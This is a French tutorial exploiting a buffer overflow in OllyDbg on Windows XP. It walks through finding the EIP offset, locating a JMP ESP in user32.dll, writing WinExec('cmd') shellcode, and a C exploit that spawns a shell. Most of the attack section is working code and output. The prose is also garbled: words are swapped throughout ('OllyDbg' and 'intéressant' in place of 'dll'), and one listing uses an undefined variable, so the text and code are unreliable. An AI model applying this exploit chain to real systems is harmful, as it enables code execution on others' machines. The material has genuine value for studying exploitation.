- = BoF = - By Gabichounet

 

Exploitation d'un buffer overflow



I. Intro

De plus en plus d'articles sur les buffer overflow voient le jour internet. Mais ils sont hélas écrit majoritairement en anglais, et destiné à Linux. On peut me reprocher de faire la différence entre Windows et Linux dans cet article car le principe des buffer overflow reste le même quelle que soit l'Os sur lequel on se trouve. Mais en pratique, exploiter une faille de type buffer overflow sous Windows reste relativement différent. C'est pourquoi j'ai décidé d'écrire cet article. Je ne prétends pas avoir écrit L'article sur le buffer overflow qui va tout démystifier, juste un résumé de ce que j'ai pu trouver d'intéressant avec pas mal d'explications.
Cet article est donc destiné à des lecteurs d'un niveau plutôt confirmé. Vous aurez besoin de connaissances en C ainsi qu'en Os Je tiens aussi à rappeler avant de commencer que j'ai écrit cet article dans un but pédagogique, et non pour inciter au piratage.


II. Exploitation

        a) Recherche du buffer overflow

J'étais à la recherche d'un programme vulnérable aux failles de type buffer overflow. Armé intéressant, je testais quelques logiciels en leur passant des arguments, lorsque OllyDbg planta lui-même. Pas besoin d'aller plus loin, la faille que je cherchais était sous mes yeux. J'en profite pour vous montrer comment exploiter un buffer overflow en local sous Windows.

Pour débugguer un programme avec intéressant, il faut lui passer comme commande OLLYDGB.EXE [prog_a_debugguer] [arguments_pr_le_prog]. Je vérifie d'abord que intéressant est bien vulnérable avec cette commande : OllyDbg.exe OllyDbg.exe aaaaaa...*600. Ollydbg va donc s'exécuter et tenter de débugguer intéressant avec 600 'a' en arguments. En exécutant cette commande, j'ai droit a une erreur Windows me signalant intéressant a rencontré un problème et doit fermer. De plus, l'adresse EIP est 0x61616161 au moment du crash (61 étant la valeur en hexadécimal du caractère 'a'). J'en conclus que j'ai réussi à écraser l'adresse EIP : le programme est donc vulnérable. On va maintenant chercher à connaître la position exacte des caractères écrasant connaître Pour cela, il n'y a rien d'autre à faire que tester. C'est laborieux mais obligatoire. Donc on teste avec 500 'a', intéressant ne plante pas. On continue de tester, et quelques tests plus tard... En passant comme arguments [509*'a'][dcba], on s'aperçoit intéressant crash, et que l'adresse EIP est 0x61626364 (on aurait pu s'attendre à ce que EIP soit devenue 64636261, mais il ne faut pas oublier que la pile est lue en sens 'inverse', ce qui donne donc ce résultat). On connaît maintenant la position des caractères écrasant EIP : ils se situent après le 509ème caractère. Notre exploit va donc ressembler à ceci : [509*'a'][ADRESSE_EIP][SHELLCODE]

        b) Ecrasement connaître

Nous pouvons écraser l'adresse EIP et remplir par ce que l'on veut. On peut donc la remplacer avec une adresse pointant vers notre shellcode. Mais nous allons utiliser une autre méthode. Celle-ci consiste à trouver l'adresse d'un JMP ESP dans la mémoire, ce qui exécutera donc directement notre shellcode. Si on trouve par exemple un JMP ESP dans une OllyDbg appelée par le prog vulnérable, c'est gagné. Le menu "Debug > connaître modules" intéressant nous permet de savoir quelles OllyDbg sont utilisées par le prog débugger Le code suivant nous permet de voir si un JMP ESP est présent dans une OllyDbg, et si oui, quelle est son adresse.


---- code find_JMP_ESP.c ----

#include <stdio.h>
#include <windows.h>

int main()
{
        char dll[16] = "";
        int position = 0;
        BOOL stop = false;

        printf("Nom de la OllyDbg : ");
        scanf("%15s", dll);

HINSTANCE offset;
if ((offset = LoadLibrary(dll))==NULL)         // on charge la dll
{
               printf("Impossible de charger la OllyDbg\n");
               exit(-1);
}
BYTE * ptr = (BYTE *)offset;

for (int i=0; !stop; i++)
{
               try
               {
                      if(ptr[i]==0xFF && ptr[i+1]==0xE4)
                      // on recherche JMP ESP (FF E4 en hexadécimal)
                     {
                             position = (int)ptr + i;
                             printf("Adresse de JMP ESP dans la OllyDbg %s : %x.\n", OllyDbg, position);
                             stop = true;
                             }
                      }
                      catch(...)         // si jamais on arrive à la fin de la OllyDbg
                      {
                             printf("Il n'y a pas de JMP ESP dans la OllyDbg %s.\n", OllyDbg);
                             exit(-1);
                      }
               }
               return 0;
}

---- /code ----


On exécute ce petit prog, et après quelques essais avec différentes dlls, on trouve que user32.dll (par exemple) a un JMP ESP à l'adresse 0x77d4754a (celle-ci dépend des versions de Windows, ainsi que SP installées). On sait maintenant que l'exploit va ressembler à ceci : ['a'*509][4a75d477][shellcode]. Il nous reste donc à créer un shellcode. On va faire simple, et écrire un shellcode exécutant juste un shell dos.


        c) Création du shellcode

Le shellcode va appeler la fonction WinExec du système, lui passer le paramètre cmd, puis quitter proprement le prog. On aura donc juste besoin d'avoir les adresses des fonctions WinExec et ExitProcess. Pour cela, ce simple code suffit :

---- code find_functions_address.c ----

#include <windows.h>

void main(void)
{
        printf("\nAdresse de WinExec : %x\n", WinExec);
        printf("\nAdresse d'ExitProcess : %x\n", ExitProcess);
        /* Le shellcode devra donner ceci : */
        WinExec("cmd", 1);
}

---- /code ----


Connaissant ces deux adresses (chez moi 0x77e484c6 et 0x77E55CB5, mais vous aurez des adresses sûrement différentes), on va donc créer un petit prog en ASM sous Visual C++ comme ceci :

---- code shellcode_asm.c ----

#include <windows.h>

void main(void)
{
               __asm {
               mov ebp, esp        // on met ebp et esp au même niveau
               xor ebx, ebx        // on met ebx à 0
               push ebx        // on met 4 bits à 0

               mov byte ptr [ebp-04h], 63h        // on place cmd sur la pile : c
               mov byte ptr [ebp-03h], 6Dh        // m
               mov byte ptr [ebp-02h], 64h        // d, et on laisse ebp-01h à 0
               lea eax,[ebp-04h]        // on met ebp (qui est alors cmd\0) dans eax
               push eax        // on met eax sur la pile

               push 0x1        // on met 1 sur la
               push eax        // pile (second argument de WinExec)

               mov eax, 0x77e484c6        // on met l'adresse de WinExec sur la pile
               call eax        // on l'exécute

               mov eax, 0x77E55CB5        // on met l'adresse d'ExitProcess sur la pile
               call eax        // on quitte le prog 'proprement' pour pas qu'il crash
               }
}

---- /code ----


Normalement si tout se passe bien, vous devez avoir un shell dos qui s'ouvre après exécution du prog.
Il reste maintenant à convertir le code asm en hexadécimal. Sous visual C++, vous pouvez placer un breakpoint sur l'instruction _asm. Vous lancez ensuite le programme et dans le menu View > Debug Windows, sélectionnez Disassembly. Vous obtenez alors le code en hexadécimal. Ca doit vous donner quelque chose qui ressemble à ça :

00401028 8B EC mov ebp,esp
0040102A 33 DB xor ebx,ebx
0040102C 53 push ebx
0040102D C6 45 FC 63 mov byte ptr [ebp-4],63h
00401031 C6 45 FD 6D mov byte ptr [ebp-3],6Dh
00401035 C6 45 FE 64 mov byte ptr [ebp-2],64h
00401039 8D 45 FC lea eax,[ebp-4]
0040103C 50 push eax
0040103D 6A 01 push 1
0040103F 50 push eax
00401040 B8 C6 84 E4 77 mov eax,77E484C6h
00401045 FF D0 call eax
00401047 B8 B5 5C E5 77 mov eax,77E55CB5h
0040104C FF D0 call eax

Maintenant qu'on connaît le shellcode en hexadécimal, tout le travail est fait. Il nous reste juste à faire un prog pour créer l'exploit. Mais avant, on peut toujours tester le shellcode, histoire d'être sur de nous :)

--- code test_shellcode.c ----

#include <windows.h>

char shellcode[] = "\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6"
                             "\x45\xFD\x6D\xC6\x45\xFE\x64\x8D\x45\xFC"
                             "\x50\x6A\x01\x50\xB8\xC6\x84\xE4\x77\xFF"
                             "\xD0\xB8\xB5\x5C\xE5\x77\xFF\xD0";

int main()
{
               printf("\nTest du shellcode...\n");
               int *ret;
               ret = (int *)&ret + 2;
               (*ret) = (int)shellcode;
}

--- /code ----


        d) Création de l'exploit

Ca marche à merveille. Codons maintenant un prog permettant de créer l'exploit :

---- code exploit_OllyDbg.c ----

#include <stdlib.h>
#define LEN_BUF 509

int main()
{
               int i = 0;
               char buffer[LEN_BUF+1] = "";
               char exploit[1024] = "";

               char eip[] = "\x4a\x75\xd4\x77";
               char shellcode[] = "\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6"
                                            "\x45\xFD\x6D\xC6\x45\xFE\x64\x8D\x45\xFC"
                                            "\x50\x6A\x01\x50\xB8\xC6\x84\xE4\x77\xFF"
                                            "\xD0\xB8\xB5\x5C\xE5\x77\xFF\xD0";

               for (i=0; i<LEN_BUF; i++)
               buffer[i] = 'a';

               sprintf(exploit, "OLLYDBG.EXE OLLYDBG.EXE %s%s%s", buffer, eip, shellcode);

               system(exploit);

               return 0;
}

---- /code ----


On copie cet exécutable dans le dossier intéressant, on croise les doigts bien fort et on l'exécute...

Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\odbg108b>


Hé hop, un shell dos. Buffer Overflow exploité :)


III. Fin.

J'espère que ce que j'ai écrit sera au moins utile à quelqu'un. Comme d'hab, si une erreur s'était malencontreusement glissée dans mon article, ou si vous avez des idées, remarques constructives ou questions maillez moi.



----------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------

Informations
Cet article a été rédigé par Gabichounet
Email:Gabichounet@espionet.com